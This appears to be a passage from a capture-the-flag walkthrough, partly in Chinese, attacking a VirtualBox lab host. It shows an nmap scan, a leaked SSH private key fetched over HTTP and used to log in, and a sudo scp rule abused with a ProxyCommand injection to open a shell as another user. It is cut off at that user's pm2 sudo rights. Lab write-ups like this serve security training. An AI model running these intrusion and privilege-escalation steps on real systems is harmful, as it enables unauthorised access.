root@kali:~# nmap 192.168.56.108 -p- --min-rate 10000Starting Nmap 7.98 ( https://nmap.org ) at 2026-05-14 04:47 -0400
Nmap scan report for 192.168.56.108
Host is up (0.15s latency).
Not shown: 65532 closed tcp ports (reset)PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
3006/tcp open deslogind
MAC Address: 08:00:27:EA:E7:D3 (Oracle VirtualBox virtual NIC)Nmap done: 1 IP address (1 host up) scanned in 53.57 seconds
root@kali:~# nmap 192.168.56.108 -p 22,80,3006 --min-rate 10000 -sC -sV
Starting Nmap 7.98 ( https://nmap.org ) at 2026-05-14 04:48 -0400
Nmap scan report for 192.168.56.108
Host is up (0.0016s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 10.0 (protocol 2.0)80/tcp open http Apache httpd 2.4.66 ((Unix))| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: It works! Apache httpd
|_http-server-header: Apache/2.4.66 (Unix)3006/tcp open http Node.js (Express middleware)|_http-title: Site doesn't have a title (text/html;charset=utf-8).
MAC Address: 08:00:27:EA:E7:D3 (Oracle VirtualBox virtual NIC)Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.64 seconds
root@kali:/tmp/123# curl -O http://192.168.56.108/0h6WTnHJggZg451m/
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
10044410044400722060root@kali:/tmp/123# chmod 600 id_ed25519
# ssh 公钥是可以通过私钥导出来的,第一次遇到root@kali:/tmp/123# ssh-keygen -y -f id_ed25519 > id_ed25519.pub
Enter passphrase for"id_ed25519":
wiktor@Local:~$ ls -al
total 16drwxr-sr-x 3 wiktor wiktor 4096 Apr 7 13:57 .
drwxr-xr-x 4 root root 4096 Apr 7 19:54 ..
drwx--S--- 2 wiktor wiktor 4096 Apr 7 13:47 .ssh
-rw-r--r-- 1 root wiktor 44 Apr 7 13:57 user.txt
wiktor@Local:~$ cat user.txt
flag{user-bd62d032486aff767bc47d736c594dcb}wiktor@Local:~$ sudo -l
Matching Defaults entries for wiktor on Local:
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
Runas and Command-specific defaults for wiktor:
Defaults!/usr/sbin/visudo env_keep+="SUDO_EDITOR EDITOR VISUAL"User wiktor may run the following commands on Local:
(citrus) NOPASSWD: /usr/bin/scp
sudo -l: 发现可以以citrus用户的身份执行scp命令,gtfobins网站搜索:
横向移动
1
2
3
4
5
wiktor@Local:~$ touch x
# 这里必须先创建 x 文件wiktor@Local:~$ sudo -u citrus scp -o 'ProxyCommand=;/bin/sh 0<&2 1>&2' x x:
/home/wiktor $ id
uid=1001(citrus)gid=1001(citrus)groups=1001(citrus)
citrus信息收集
1
2
3
4
5
6
7
8
9
~ $ sudo -l
Matching Defaults entries for citrus on Local:
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
Runas and Command-specific defaults for citrus:
Defaults!/usr/sbin/visudo env_keep+="SUDO_EDITOR EDITOR VISUAL"User citrus may run the following commands on Local:
(ALL : ALL) NOPASSWD: /usr/local/bin/pm2